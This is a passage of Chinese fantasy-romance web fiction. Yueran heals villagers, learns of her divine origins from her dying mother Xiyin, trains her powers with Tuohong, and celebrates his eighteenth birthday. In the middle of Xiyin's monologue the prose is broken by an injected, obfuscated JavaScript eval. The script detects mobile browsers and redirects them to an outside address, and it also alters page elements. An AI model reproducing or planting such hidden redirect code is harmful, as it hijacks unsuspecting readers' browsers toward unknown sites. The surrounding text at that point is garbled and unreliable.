他采药的时候一言不发,只是把每一棵草药根部的泥土都拍干净了才放进背篓。 悦然煎了药,喂王大爷喝了。 当天晚上王大爷就说头晕好了些,第二天就能坐起来喝粥了。 其实她什么都没做,只是清洗了伤口,让老人平躺,喂了药——那药也不是她开的,是拓宏去后山采的。 但在王大爷和他家里人眼里,就是这位从外地来的姑娘救了老爷子的命。 他儿子跪下来要给她磕头,悦然吓得赶紧去扶,拓宏从旁边伸出手,稳稳地把那汉子架住了:"不必。起来。" 那汉子被他架着,膝盖再也弯不下去,只好红着眼眶连声说谢谢。 悦然松了口气,回头看了拓宏一眼,他松开那汉子的胳膊,面无表情地转身出去了。 消息像涟漪一样在杏花村和周围的几个村子间慢慢扩散。 来敲门的村民从抱着小动物,渐渐变成了搀着老人、牵着孩子。 他们来找她,不是什么大病——乡下人没那么娇气,能扛的病都自己扛了。 扛不住的,也大多是头痛脑热、腰酸背痛、孩子积食、老人关节疼这些寻常毛病。 她治不了大病,但那些小病小痛,她知道怎么让人舒服一点。 积食的孩子,她用手掌轻轻揉他们的肚子,顺时针,一圈一圈,力道均匀,紫光在掌心若有若无地闪动,孩子的哭声就慢慢停了。 头疼的老人,她用热毛巾敷他们的额头,手指按在太阳穴上,力道不轻不重,老人说"姑娘你这手真暖",她笑笑,继续按,直到老人的眉头松开。 她从不收诊金。 村里人过意不去,今天张家送来一篮鸡蛋,明天李家提来两条腊肉。 她不要,人家就放在院门口,敲两下门转身就跑。 她追出去,只看见一个跑远的背影。 拓宏站在院子里劈柴,头也不抬地说:"追不上的。杏花村人送东西,从不等人开门。" 她站在院门口,手里拎着那篮鸡蛋,看着空荡荡的村路,风吹过来的时候月季的叶子轻轻摇了一下,不知道什么时候又新开了一朵。 闲暇的时候,她会翻开拓宏不知从哪里找来的医书。 那些书很旧,纸页泛黄,有些地方被虫蛀了,有些地方字迹模糊。 她一个字一个字地啃,遇到不认识的就去问拓宏。 拓宏也不全认识那些药名和脉理,但他会坐下来和她一起看——两个人凑在油灯下,对着同一页纸,眉头皱得一模一样。 有时候她看不懂一句话,递给他,他看一遍,也看不懂。两个人都沉默了。 然后他把书放下,说:"明日我去镇上,问问药铺的坐堂大夫。" 第二天他果然去了,回来时背篓里不仅有镇上买的年和灯油,还有一包药铺坐堂大夫开的药方样本,上面密密麻麻写满了常用药名和对应的症状。 他把药方样本递给她,说"坐堂大夫说此本可借三月"。 悦然接过来,低头翻了翻,眼眶有点热。 "你怎么跟人家说的?" "我说村中有位学医的小姑娘,需些教材。" 她抬起头看着他,他没有看她,已经走到院子里去劈柴了。 春天快到的时候,她已经能给村里人配一些最简单的草药了——枇杷叶煮水治咳嗽,柴胡退烧,藿香止泻。 都是最基础的东西,吃不坏也吃不死,但村里人喝了确实觉得舒服些。 那些草药有的是她自己上山采的,有的是拓宏帮她从镇上带回来的。 她采回来的草药分门别类挂在灶房屋檐下晾干,有风吹过时,整个院子都是淡淡的药草香。 张嫂子家的孩子积食了,她用小半勺炒麦芽粉冲水喂下去,孩子打了两个嗝,肚子就不胀了。 张嫂子逢人就说"那姑娘比镇上大夫还灵验",悦然听了只是笑笑——她知道自己几斤几两,真正的病她治不了,她只是在做自己力所能及的事。 就像杏花村三年里她做的每一顿饭、缝的每一件衣裳、包的每一个饺子,不是惊天动地的事,只是把一个地方一点一点变成家的样子。 村民们也用自己的方式待他们。 老村长说过一句:"这俩孩子,看着不像兄妹。" 刘嫂子正在择菜,头也不抬:"早看出来了。你见过哪个哥哥给妹妹劈柴劈得这么勤快的?" 老村长笑了两声,没再说。 那天傍晚,悦然从灶房里端了新蒸的糕饼出来,刚好听见这话。 她站在门后,没有走出去。 拓宏蹲在菜地边拔草,也不知道听见了没有。但他拔草的动作停了一瞬,然后又继续了。 有一天傍晚,拓宏劈完最后一捆柴,走进灶房倒水喝。 悦然正往灶膛里添柴,头也没回地说:"阿泽,你觉得我们能在杏花村待多久?" 拓宏端着水碗的手微微顿了一下。 她没有回头,所以他看不清她的表情。她问这句话的语气很轻,像是在问"明天早上吃什么"一样随意。 但她在添柴,添了三次还没有把那根柴塞进灶膛。 "你想待多久?"他反问。 "很久。"她说。 她把那根柴塞进去了,灶膛里火苗窜起来,映得她的侧脸很亮,"很久很久。" 拓宏沉默了一会儿,把水碗放在灶台上。 "那便很久。"他说。 悦然转过头,隔着灶台的火光看着他。 他的脸半明半暗,表情和平时一样淡,但他刚才那句话里的每一个字都落得很实。 她忽然笑了一下:"你说的,不许反悔。" 拓宏没有笑。他只是点了点头,然后转身回院子里继续劈柴。 那天晚上,拓宏照例在她睡着后等在灶房里。 梧冲庭送来军报时,他没有接。 他看着那封军报,沉默了一会儿。 "梧叔。" "属下在。" 拓宏没有说下去。 他把军报接过来,没有看,凑近烛火。 火苗舔舐着纸张的边缘,迅速吞噬了上面的字迹。 灰烬落在他的手背上,温热,然后变冷。 他把烧尽的灰烬吹散在风里,推开灶房的门。 屋外,雪停了。月光洒在那副红纸上,照着那句"灶火温存"。 那副对联在风里轻轻响了一下。 29. 送别母亲 "我们一切探索的终点,将是到达我们出发的地方,并且是第一次认识那个地方。" ——T.S.艾略特《四个四重奏·小吉丁》 第二年,悦然的身量已经和十五六岁的少女差不多,站在拓宏身边却仍矮了整整一个头。 不是她长得慢,是拓宏也在疯长。 这一年他的肩膀宽了许多,下颌线条越发分明,站在井边打水时背影已和成年男子无异。有时候跃然从灶房里端着碗出来,看见他蹲在菜地边拔草的侧影,会恍惚一瞬——那个人什么时候长成这样了?好像昨天还是个拔出剑来手会抖的少年。 村里的孩子们最先注意到悦然的变化。阿吉拉着她的袖子说,姐姐你长得真快,去年这个时候你还没我娘高呢,现在比我娘高了。跃然摸摸她的头,说姐姐在长身体。 刘嫂子说得更直白。那天她在院子里帮悦然晾衣裳,看着悦然踮起脚尖把被单搭上晾衣绳,又看了看不远处蹲在檐下磨柴刀的拓宏,忽然冒出一句:"你俩站一块儿,倒像画上走下来的一对金童玉女。" 悦然的手在晾衣绳上顿了一下,没有接话。 拓宏头也没抬,但手里那把柴刀在磨石上多推了两下,力道重了些。 悦然的身量不是唯一在变化的东西。 雨虹山需要她更多精力才能维持稳定。第一年她每天只需在浊泉边站半个时辰,第二年开春以后,半个时辰不够了。浊泉虽然不再向外扩张,但每过几日便会躁动一次,黑色的泥浆在潭底翻涌,像是有什么东西在深处挣扎着想要醒过来。 她必须在泉边站满一个时辰,有时更久,才能把那翻涌的势头压回去。 清泉也在考验她。泉眼的水量恢复到六成之后便停滞了,无论她怎么触碰,水位都不再上升,只是不再下降。她隐隐感觉到,浊泉深处有什么东西在和她对峙。那东西不止于那些翻涌的黑泥——是更深处,更古老的东西,蛰伏在地底不知多少年,被她每日的注视一点一点地激怒了。 它没有她强大,但它根扎得更深,像是和整座雨虹山的地脉长在了一起。 她每次触碰清泉时都能感受到,清泉在与浊泉对抗时的无力与绝望。清泉时常是呜咽的,像被堵住了嗓子,委屈都闷在胸腔里发不出声。 每次从山上下来,她都比上一次更倦。实在太倦的时,她就到当初洞门口的那棵红枫古树下躺一会儿,再下山。 起初只是多喝一碗粥就能缓过来,后来要睡一个下午,再后来——拓宏开始注意到,她右手的中指和无名指有时会微微发颤,像琴弦绷得太久之后那种不受控的振鸣。 她把那只手藏进袖子里,说没事。 他没有戳破。但他开始背她下山。 随着她在山上待的时间越来越长,她的眼睛终于藏不住了。 起初只是上山时会在紫光中暴露片刻。她在浊泉边站定时,眸色会从墨黑渐渐泛出紫韵,下山时她会刻意低着头,等眸色褪尽了再进村口。但到了第二年夏天,紫韵消退的时间越来越长。有一次在村口遇见了阿吉,阿吉歪着头看她,说姐姐你的眼睛真好看,像紫色的星星。 她把阿吉抱起来,若无其事地岔开话题,心里却明白——瞒不住了。 拓宏给她换了新的帷帽,比原来那顶更厚实,帽沿垂下的灰纱遮住了大半张脸。但这顶帷帽在村里反而更扎眼——哪个村姑下地干活还戴着帷帽? 她每天上山下山,那顶帷帽不离头,村里人早就看在眼里了。 先是孩子们开始传。阿吉跟村里其他小孩说,姐姐的眼睛是紫色的,她亲眼看见的。大人们起初不信,但孩子们说得有鼻子有眼,说姐姐给人看病的时候眼睛会发光,被那光照一下就不疼了。 很快大人们也开始注意。她给人看病时,老人们说她的手指按在太阳穴上,指尖会有一闪而逝的紫光。她给人包扎时,伤口愈合的速度比寻常快上许多。她采回来的草药比山上任何一处都长得好,她种在院门口的月季在冬天也不枯。 这些事一件一件攒在一起,便不再是巧合。 村里的议论越来越多。有人说她是山上下来的仙子,有人说她是菩萨转世。后来有人想起了十几年前的旧事。村东头的李老头——已经快七十了,平日里不大说话——忽然在井边提起,十几年前,村里也住过一个紫眼睛的女子,后来嫁了人,搬到邻村去了。再后来就听说她夫君又娶了别人,那女子从此没了下落。 李老头说完,把烟杆在井沿上磕了磕,说那个紫眸女子的眉眼,和现在的然然姑娘有七成相似。 刘嫂子也在场。她把针线筐搁在膝上,手指在筐沿上来回摩挲,看了看蹲在檐下编竹篮的拓宏,又看了看站在院门口的村长,最后把目光落在悦然身上。 "李伯说的那个女子,我也听说过。但我见过另一个。" 她的声音压得很低。 "一年多前,就是在我家那口废弃的老井边。我家那口子晚上去收渔网,听见井那边有动静,以为是野狗在翻东西。走近了才看见——几个畜生按着一个小姑娘,她连喊都喊不出声了。" 她说到这里停了一下,手指攥紧了针线筐的边沿。 "我家那口子喊了一嗓子,那几个畜生提着裤子就跑了。我跑过去看,那小姑娘全身是伤,眼睛是紫的。我想帮她,她却拼命挣扎,谁也不让碰。她推开我,往山上跑了。我们找了一夜,没找着。" 刘嫂子说完,院子里静了好一会儿。 "后来听说那几个畜生一年之内都死了。死法各不相同,但都死状狰狞,惨不忍睹。"她把针线筐重新端起来,手指还在微微发抖,"想想是遭了报应了。" 悦然站在院门口,一动不动。 她忽然想起野苑里那缕青灰色的流光。惜儿。那个曾在这具身体里住了十年的小妖,用最后一丝力气爬到雨虹山脚下,被拓石和拓云救了,也算最终把这具肉身还给了她。她一直不知道惜儿在山下经历了什么。 现在她知道了。 她低头看着自己的手。这双手,这具身体,是惜儿用十年灵力一寸一寸养大的。不知道魅绝殇带她去了哪里,他们现在怎么样了。 她回头看了一眼拓宏——他正蹲在檐下编竹篮,手指在竹篾间穿梭,好像没听到那些事。但他的唇抿得很紧,编竹篮的手很用力。 消息传到村长耳朵里,老村长家的灯亮了一整夜,第二天一早来到了悦然的院子。他没有进院门,只是站在月季旁边,对着正在晾衣裳的悦然说了一句话—— "姑娘,你是紫眸的事,瞒不住了。与其让大家瞎猜,不如让他们看清楚——你不是妖,是神。" 那天傍晚,悦然在村口的古槐树下为村里一个摔断腿的孩子接骨。她蹲在地上,双手握着孩子的小腿,紫光从她指尖渗出来,温柔地包裹住断裂的骨节。 周围的村民围了一层又一层,没有人出声。 孩子哭累了,在她怀里睡着了。她把孩子交给孩子的娘,站起来,抬起头。 暮色里,她的眼睛是紫色的,清澈如水,像雨虹山上最美的虹。 不知是谁先跪下去的。等悦然回过神来,古槐树下已经跪倒了一大片。老村长站在最前面,膝头沾着泥土,头低得很深。 他说,“姑娘,请保佑杏花村吧!” 悦然把他扶起来,说:“村长您起来。我力所能及都会做。” 那晚以后,再也没有人在背后议论她的眼睛了。不是不敢,是不想了。他们管她叫"紫眸神女",悦然听了只是摇头。但没有人改口。 第三年深秋,一个傍晚,敲门声在晚饭后响起。 拓宏去开门,片刻后领进来一个老妇人。 老妇人佝偻着背,头发全白了,穿着一身落满补丁的粗布衣裳,袖口磨烂了。她站在院门口,一双眼死死盯住悦然的脸,嘴唇发抖,却一句话也说不出来。 悦然端着油灯走到门口,光线照在老妇人的脸上。 那是一张苍老到皱纹包着骨头的脸,眼窝深陷,颧骨高高凸起,褶皱被风吹日晒磨得粗糙发红。但那双眼睛的神情,却让悦然无法移开眼。 她手里的油灯晃了一下。 拓宏伸手接过油灯,放在桌上,然后把灶房的门带上。他没有走远,只是退到院门口,蹲在月季旁边,背对着屋子。 老妇人坐下来。悦然给她盛了一碗粥,粥碗搁在她面前,她没有端,只是盯着碗里的热气出神。 过了很久,她才开口。 "我叫西音。"她说,"本是天界紫金殿的司泉女仙,掌管雨虹山清浊二泉的运转。" 她抬起头,看着悦然。那双浑浊的眼睛里有一瞬间闪过极清的光——像是很久以前的东西,在记忆的最深处还没有完全熄灭。 "你听说过蔚魄大陆的来历吗?" 悦然摇了摇头。 "传闻这片大陆是紫宸大帝的幺女所建。那位幺女生来就是上仙,她让人叫她曦宇上仙。她是天帝的血脉,却偏爱凡尘。她亲手布下了蔚魄大陆的山川地脉,又在雨虹山设下清浊二泉——清泉聚天地清灵正气,浊泉纳万物戾怨邪阴。人世间的怒、怨、嗔、痴,都汇聚到浊泉之中,再由清泉净化。千万年来,清浊相制,自有平衡,蔚魄大陆由此安泰。" 她停了一下,手指无意识地摩挲着粗瓷碗的边沿。 "可后来,曦宇上仙被迫跳下了诛仙台。" 这句话她说得很平静,像是在说别人的事。但她的手指在碗沿上停住了,指甲泛白。她曾是服侍曦宇上仙的仙侍,得她垂怜,才有了掌管清浊二泉的差事。 "她跳下去的那一天——四极的天裂了。" 老妇人抬起头,看着窗外的夜空,仿佛那道裂缝还挂在天幕上。 "不是曦宇的天,是撑持整个蔚魄大陆的那道屏障碎了。天裂之时,清浊二泉之间的平衡被打破了,浊泉戾气翻涌,从此再无宁日。" 她收回目光,落在碗里那层已经结了薄膜的粥上。 "而我——就是在那一天,趁乱偷下了凡尘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632093|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。" 她说这句话时,嘴角浮起一丝极淡的、苦涩的笑意。 "我给那曦宇上仙读过很多凡间的话本子,便也贪恋起人间的情爱。在瑶池边看凡尘烟火的倒影时,总是移不开眼。天裂之时秩序大乱,我便偷偷坠入了雨虹山。" 她说到"情爱"两个字时,声音忽然轻了下去。 她说起那个在雨虹山下种田的年轻人。说他笑起来很憨厚,第一次牵她的手时掌心全是汗。说他在田埂上摘了一朵野花别在她耳后,她红着脸不敢动,他就笑着说,你比花好看。 她说她从来没有后悔下凡。 她后悔的是把自己竟为了一人毁了仙身。 "有个叫癫叟的人找上了我。"她的手指收紧了,指甲在桌面上划出一道浅浅的白印,"他说只要嫁给那个凡人,就能过上我要的烟火日子。我相信了他。但我不知道,他要的是紫晶玄经——那是曦宇上仙炼化了自己半颗心留下来的、用来平衡清浊二泉的上古法器。" 她不说话了。灶房里只有灶膛余烬的轻响,和窗外风穿过杏枝的声音。 "我被骗走了神器,失去仙骨,再也回不了天界。而移情果没有换回他的心——只是让他不再看别的女人。可他也不再看我了。" 她的眼睛已经很干了。二十年的泪早就流尽了,此刻连眼眶都是枯的。 "他不再看我。但他也不许别人看我。他把我锁在院子里,白天不让出门,夜里——" 她没有说下去。 悦然的手在桌下攥紧了。她知道那个"夜里"后面跟着什么。 "前段时间,我听到了紫眸现世的消息,我——杀了他,逃了。孩子,母亲,杀了你的父亲——" 老妇人的声音忽然变低了,像是从很深很远的地方传来的,又像是带着无尽的嘲讽,嘲讽那个曾经不顾一切的自己。 "孩子,清泉灵主把你的魂魄送去了一个没有仙劫的地方。他说你会安全,会做一辈子凡人,会有新的人生。我相信了他。我把你交给了他。" 她停了一下,手指在桌面上蜷缩起来。 "我以为你会平安过一辈子。可你提前回来了——你提前回来,说明在那边……没有过好。" 她的嘴唇抖了一下,没有说下去。 悦然没有说话。她想起了另一个世界——黎悦然的世界。那个世界的好与不好,似乎已经恍若隔世。 "后来,清泉灵主从癫叟手里夺回了紫晶玄经。如今,清泉神主已经不在。我观你情状,紫晶玄经和清泉蓝晶,应是都在你体内了。它们一暖一寒,紫为阳,蓝为阴。你半仙半凡,它们是能护住你身体的唯一方法,没想到,竟被你误打误撞得到了。" 她抬起头,看着跃然。 "你的紫蓝两力,便如同这清浊二泉——一阴一阳,相互运转。你要学会让它们相互调和,才能发挥你最大的能力。当两力完全交融,你便能真正驾驭这具仙骨。" 老妇人说完这些话,像用尽了全身的力气,靠在椅背上喘了很久。 跃然伸手,把那碗拿起来。 "我再换热的给你。" 老妇人抬起头,看着她。那一刻她的嘴唇抖得很厉害,但她什么也没有说,只是缓缓吐出最后一口浊气。 她靠一丝仙骨残余撑了二十年,如今已经耗尽了。那点残力像一根烧到尽头的灯芯,最后的光越来越弱,连脸都照不亮了。 悦然盛好粥在转身时,看到的是她死不瞑目的眼睛,像是无数眷恋,却已经没有力气说出口。 跃然的眼泪掉下来,"妈妈,我不恨你了。早就不恨你了。" 她眼泪,一滴接一滴滑落下来,温热的。 老妇人似是听到了,整个身子软下来,缓缓合上了眼睛。 悦然走出屋子,站在院子里。风吹过来,深秋的月在夜空中遥遥望着她。 她没有哭出声。眼泪无声地滑落,紫蓝的光在她周身流转——不是她刻意运功,是那两股力量在她悲恸的时候自行涌出,像哭不出的那部分替她哭了出来。 拓宏在几步之外。他在那里站了很久,不说话。月光把他钉在原地,影子拉得很长。悦然走过去,轻轻趴在他的胸口,他这才紧紧回抱着她。 "阿泽。" "嗯。" "她说我体内有紫蓝两力。一暖一寒。要让它运转起来,才能真正驾驭仙骨。" 她转过身,看着拓宏。 "你教我。" 他没有犹豫。"好。" 他顿了一下,又说—— "但不是只凭呼吸。我有一本书,是当年从王宫里带出来的。" 跃然抬头看他。 "我偷了宇文家的书。"他的声音很低,有微微的炫耀,"他用这书威胁你,现在,咱们不受他威胁了。" 他从怀里取出一卷书册,是绢帛制作的。 她把旧绢小心地展开,借着月光看了一眼。 第一行写着四个字——《紫宸归元》。 30. 生辰初吻 "爱不是彼此凝视,而是一起望向同一个方向。" ——圣埃克苏佩里《人类的大地》 悦然将西音的坟建在了雨虹山上那棵古枫旁边,那枫树曾给她母亲般的温暖。 那之后的每个清晨,他们都在天亮前上山。 拓宏教她修炼,依据的就是那卷《紫宸归元》。他的方法比她想象中更耐心——他把旧绢上的内容一段一段念给她听,遇到她不懂的地方就换一种说法,再不懂就换一种,直到她点头为止。 "紫力为阳,起于丹田,循脊而上,至百会而散。"他念完一段,看她,"懂吗?" "不太懂。" "便是聚气在丹田,感受暖气从腹底向上,沿着脊背,至头顶散开。" "……那你一开始这么说不就行了。" 拓宏没说话,但唇角动了一下。 蓝力是难点。蓝力属阴,性寒,不走正脉,专走络脉——那些比发丝还细的旁支,像地底的暗河,看不见走向,只能凭感觉去寻。蓝力每次涌上来都像一尾滑手的鱼,明明攥住了又从指缝里溜走。 "莫要攥。"拓宏说,"蓝力需得找紫力,它性冷,欲寻暖处。你放开一些,让紫力去迎。" 悦然愣了一下。她从来没有这样想过——蓝力不是在攻击她,是在找归宿。 她试着松开。下一次蓝力涌上来的时候,她没有把它摁回去,而是松开了一点,让紫力迎上去。 两股力量在她胸腔里碰上了。 像两只在暗处摸索的手,指尖对上了指尖,停了一瞬,然后轻轻握住。 紫力暖,蓝力寒。暖的裹住寒的,寒的浸入暖的,两种温度在她体内交织成一个缓缓流动的旋涡。 她睁开眼。 晨光从山顶泻下来,她的眼睛亮了一瞬——右眼紫,左眼蓝,两种颜色在她瞳孔里像两条溪流交汇,转了半圈,然后一起沉入墨黑。 "成了?"拓宏问。 "差一点。"她说,"但是找到门了。" 拓宏点点头,站起来,拍了拍膝盖上的土。他伸手把她拉起来——他的手掌干燥温热,力道刚好,不用她费劲就站稳了。 她低头看了看自己被拉过的手腕,又抬头看了看他。 他已经在往山下走了。 "炉火要熄了。"他说。 修炼半月之后,悦然发现自己的真气不再像从前那样入不敷出了。 以前每次压完浊泉,她都手指发颤,面色发白,像被人从水里捞出来一样。现在紫蓝两力在她体内自行流转,浊泉的戾气再翻涌时,她只需站在泉边运功一个周天,便能将那翻涌压回去——不再硬扛,是以自身的循环去化解它。 她开始尝试一件更大胆的事。 那天黄昏,她翻开那卷《紫宸归元》,找到了后半卷记载的古阵法——曦宇上仙当年布下清浊二泉时用的制衡之阵。以清泉灵气为引,在浊泉四周设下八道符节,将戾气锁在潭底,使其不能再向上翻涌。阵法运转时,清泉的灵气会自动流入浊泉,中和其中的邪阴,就像一条活水注入死潭,日日净化,岁岁消解。 但《紫宸归元》上写得清楚:此阵需二人合力。施阵者以紫蓝两力催动八道符节,入阵后神识凝于符节,身体便如无主之舟,全无自保之力。故需另一人守在身侧,以自身灵力为施阵者护持,替她挡住浊泉戾气的反噬。内阵催符,外阵护身,缺一不可。 “阿泽,你看这阵法。”悦然指着阵法图,“这阵,可能是我不小心破坏了。” “为何?”拓宏不解。 “我那时候和拓石、拓云来到这里,手上伤口,渗出的血粘到了承载着符节的树上,我眼见着那棵树枯死了。现在看,可能是我无意中破坏了这阵,浊泉才日益泛滥。” “恐非如此,你莫要自责。”拓宏揉了揉她绸缎般的长发。 “我想把这阵重新布上。”悦然却是已经下了决心,“你帮我吧!” 拓宏沉默了一瞬。 "何时去?" "明天清晨。" "知道了。" 没有多余的商量。他只说了这三个字,好像这件事本就该如此——她去布阵,他在旁边守着。不需要理由,不需要解释。 第二天清晨,天还没亮,两人一起上了山。 浊泉边,黑色的潭水在黎明前的暗色里像一块磨旧的铁。空气里有一股沉闷的腥甜,像什么东西在潭底腐烂了很久。 悦然在泉边盘膝坐下,翻开旧绢,将八道符节的位置一一默记。拓宏站在她身后三步远,面朝外,手按在腰间长剑的剑柄上,像一扇关着的门。 "我入阵以后,神识会全部灌进符节里。"悦然说,"外面发生什么我都不知道。如果浊泉的戾气反噬——" "到不了你跟前。"拓宏说。 他没有回头。声音笃定,像在说今日粥里放了几颗枣。 悦然看了他一眼,然后闭上眼,将紫蓝两力同时推向双手——右掌紫,左掌蓝,两股力量在她胸□□汇,旋了半圈,然后从她的掌心涌出,灌入八道符节。 八道符节只亮了三道。 其余五道闪了一下便灭了。浊泉的戾气从缺口涌出来,像一只黑手,朝悦然拍过去。 拓宏动了。 他的剑没有出鞘——只是右手按在剑柄上,左手横在身前,掌心向外。一道极淡的青光从他掌心透出来,不似紫蓝两力那般浓烈,却稳而韧,像一面薄薄的盾,挡在了悦然身前。 黑手撞上那面盾,碎了。戾气化作数十缕黑烟四散开来,有两缕绕过盾的边缘,朝悦然的侧身扑过去。拓宏侧移一步,左手一转,那面盾跟着转了半圈,把两缕黑烟也挡了出去。 但他的脚在泥地上滑了半寸——那股戾气比他预想的要重。 "继续。"他说。 悦然听不见。她的神识已经全部沉入了符节里,外面的声音到不了她耳中。但她的身体本能地感受到了——身前有什么东西替她挡了一下,那股本该撞上来的戾气没有到。 她安心了。 紫蓝两力第二次涌出,这次更急更快,像两股拧在一起的绳,灌入八道符节。亮了五道。 但维持了不到半盏茶的时间便碎了两道。戾气再次从缺口涌出,比上一次更猛。拓宏的左手青光大盛,掌心硬生生接住了那股戾气,手臂震得发麻,指骨咯咯作响。 他没有退。 "再试。"他的声音从牙缝里挤出来。 悦然仍然听不见。但她的紫蓝两力在体内旋转了第三圈——这一圈比前两圈都快,都比前两圈都沉,像两股水流终于找到了共同的河道,不再打架,而是一起朝同一个方向涌去。 右掌紫,左掌蓝,两股力量从她的掌心喷涌而出,灌入八道符节。 八道符节同时亮了。 光芒很弱,像八颗快要熄灭的星,但它们亮着。浊泉的黑泥在潭底翻涌了一下,被那层薄薄的光压了回去,闷闷地沉了下去。 戾气在符节外围盘旋了一阵,找不到缺口,最终像退潮一样慢慢散了。 拓宏的左手终于放下来。他看了看自己的掌心——红了一片,像被烫过。他把手背到身后,没有让悦然看见。 悦然睁开眼。 她回过头,看见拓宏站在她身后三步远的地方,手按在剑柄上,面色如常。 "成了?"他问。 "不够稳固。过十天半月需要重新加固一次。"她站起来,拍了拍衣裳上的草叶,"但至少——不用每天在泉边站一个时辰了。" 拓宏点点头。 两人往山下走。走了十几步,悦然忽然发现拓宏的步子比平时慢了半拍,左手一直攥着袖口。 她停下来。 "手。" "无碍。" "给我看。" 他不动。 她走回去,拉过他的左手。掌心红肿了一片,虎口处的皮肤裂了一道细口,渗着一点血丝。 她看着他,没有说话。他也没有说话。 她从药箱里翻出一小罐药膏,挖了一点,涂在他掌心。药膏很凉,他的手微微缩了一下,但没有抽回去。 "你什么时候也爱惜一下自己的身体啊,"她说,声音闷闷的,"你又不是铁做的。" “铁铸的,”他低头看了看自己的掌心,又抬起头看她,“亦会锈。” 悦然的手停在药膏罐上。她忽然想起三年前,在峡谷里,这个人挡在她面前,浑身是血,一步不退。那时候她不了解他,以为他不怕疼。后来她才知道,他不是不怕疼,是习惯了。 她看着他掌心那道还在渗血的裂口,轻声问:“那你锈了吗?” 拓宏没有立刻回答。他把手翻过来,掌心朝下,覆在她手背上。他的掌心很热,药膏还没干,黏黏的,像一道还没结痂的承诺。 “你在,”他说,“便不会。” 深秋将尽,拓宏满了十八。 悦然一直记得他的生辰。 余倩扮作拓夏回宫后在茗轩宫对她出言挑衅那天,拓宏亲口告诉过她——他的生辰就在那一天。两天后便是她的赐封大典。那几个日子她记得很牢,像钉子钉在脑子里,从来没有模糊过。 她算过。再过三天,就是他十八岁的日子。 她没有跟拓宏提。但她开始悄悄准备。 白面是现成的——刘嫂子上月送了一小袋,她一直没舍得吃。第一天晚上,她把面团揉好,用湿布盖着醒了一夜。第二天清晨,她把醒好的面团重新揉了一遍,揉得光滑紧实,然后擀成一张薄薄的圆饼,叠起来,切成细条。她的手很稳,刀工算不上多好,但每一刀都切得认真。切好的面条粗细均匀,长长地铺在案板上,一根是一根,没有断。 她没有把它们晾干。清晨现揉、现擀、现切的面条,下锅才最有劲道。 然后她开始做蛋糕。刘嫂子家的石磨能磨米粉,她借来一小袋糯米粉,掺了少许红糖,加了水搅成稠糊。没有模具,她用粗瓷碗倒扣过来当模子,把米糊倒进去,上锅蒸了小半个时辰。掀开锅盖的时候,米糕的香气扑出来,温温软软的,像一团刚出炉的云。 蛋糕坯有了。但还差一样东西——奶油。这世上没有淡奶油,她想了很久,最后从菜地里摘了一个老南瓜,削皮切块,上锅蒸熟,用木勺碾成泥。南瓜泥金黄细腻,带着一股淡淡的甜香。她用筷子把南瓜泥一层一层抹在蛋糕坯上,抹得不算平整,但每一层都涂得均匀。 然后她走到灶房角落里,从一个大坛子里舀出几个野樱桃,小小的,依然红得透亮,像几滴凝固的血。她把樱桃一颗一颗摆在南瓜泥上——两颗做眼睛,一颗做鼻子,三颗弯弯地排成一道弧线,做嘴巴。一张歪歪扭扭的笑脸,在金黄灿烂的南瓜泥上,对着她笑。 最后是蜡烛。家里没有蜡烛,只有灶台上照明用的烛台。她掰了一小块烛泪,放在小陶碟里,用火折子慢慢熔。烛泪化开的时候,她用手指捏了一根细棉线浸进去,等蜡液裹住棉线,再提起来晾凉。裹了三次,终于裹出一根小指粗的蜡烛。不太直,表面坑坑洼洼的,但她举起来对着光看了一会儿,觉得还行。 能亮就行。 第三天傍晚,拓宏外出砍柴还没回来,她已经起来了。 她把那根长生面下进锅里。水沸了三滚,面条在沸水里翻滚,没有断。她捞出面条,放进碗里,浇上熬了一夜的清汤,卧了一个荷包蛋——蛋是刘嫂子送的,她一直留着,就等今天。然后在碗边摆了两根青菜,算是点缀。 趁着煮面的间隙,悦然还炒了六个小菜。 她把蛋糕端到桌上,在南瓜泥的正中央插上那根歪歪扭扭的小蜡烛。 拓宏推门出来的时候,看见桌上的面碗和蛋糕,步子顿了一下。 他的眼睛红了,唇有些抖。 “这是……寿面?” 悦然把他拉到桌前,按着肩膀让他坐下。 拓宏低头看着那根盘在碗里的面条,攥着拳的手指也在抖。 “你知,我从不过生辰。”过了好一会儿,他才开口,声音很低,“这一日……是我母王的忌辰。” “不是寿面,是长生面。”她说,“在我那个时空,十八岁就算成年了。成年要办成人礼,像你们的弱冠礼一样。成人礼要吃长生面。一根到底,不能断,叫‘福寿绵长’。吃了这碗面,从今往后,你就是一个顶天立地的男子汉了。” “每逢此日,我皆会想——那日她若未曾将我送出,若不曾以己命换我之命,她如今尚在青岚。春日会携我去看城外野樱,冬夜会替我展衾掖角,我拔剑时她便立在身侧瞧着,说一句‘你比母王强得多了’。可她已不在了。是以此日非生辰,乃忌辰。从不是什么庆贺之日,从来不是。” 悦然伸出手,握住他放在桌上的手指。 “阿泽,成人礼不是生辰。不是庆祝,是见证。见证你活到了今天,见证你从今天起不再是少年,见证你——这个人,宇文拓宏,梧苒之子,青岚的少主,杏花村劈了三年柴的阿泽——从今天起,是一个真正的男人了。见证你扛过了所有本该压垮你的事,走到了十八岁。这一天不是谁给你的,是你自己挣来的。” 她顿了顿。 “我不是要你忘记你母王。我只是想告诉你——从今往后,这一天也可以有你自己的意义。她的忌辰是你的根,你的成人礼是你的枝。根还在,枝也要长。你可以一起记住她,也可以一起记住今天——记住有一个人,想替你把这根枝接上。” 拓宏没有说话。他低着头,看着那碗面,喉结动了一下。 悦然把筷子塞进他手里。 他把筷子探进汤里,夹住一端。面条从清汤里被提起来,白生生的,长长一根,没有断。 他的动作忽然停住了。 “怎么了?”悦然问。 拓宏没有答话。他看着那根悬在筷子上的面条,看了很久。 “我母王……也曾做过这样的面。”他的声音很轻,像是怕惊动什么,“一根到底,卧一个荷包蛋,青菜摆在碗边。” 他把筷子放低了些,面条又落回汤里。 